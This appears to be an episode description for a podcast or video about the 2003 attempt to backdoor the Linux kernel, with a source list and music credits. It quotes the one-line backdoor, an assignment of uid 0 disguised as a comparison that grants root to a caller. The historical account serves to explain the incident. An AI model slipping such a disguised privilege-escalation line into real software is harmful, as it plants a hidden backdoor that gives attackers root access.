A seemingly harmless piece of code made its way into the Linux kernel. It was later identified to actually be a malicious bug...

This episode discusses a potential backdoor attempt into the Linux kernel.

Code:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

retval = -EINVAL;

Sources:

• The Linux Backdoor Attempt of 2003: https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/
• The Kernel and BitKeeper pat ways: https://lwn.net/Articles/130746/
• An Attempt to backdoor the kernel: https://lwn.net/Articles/57135/
• Wikipedia: https://en.wikipedia.org/wiki/Linux_adoption#Timeline;

Music from https://filmmusic.io

"Deadly Roulette" by Kevin MacLeod (https://incompetech.com)

"Covert Affair" by Kevin MacLeod (https://incompetech.com)

"Lobby Time" by Kevin MacLeod (https://incompetech.com)

"Cool Vibes" by Kevin MacLeod (https://incompetech.com)

License: CC BY (http://creativecommons.org/licenses/by/4.0/)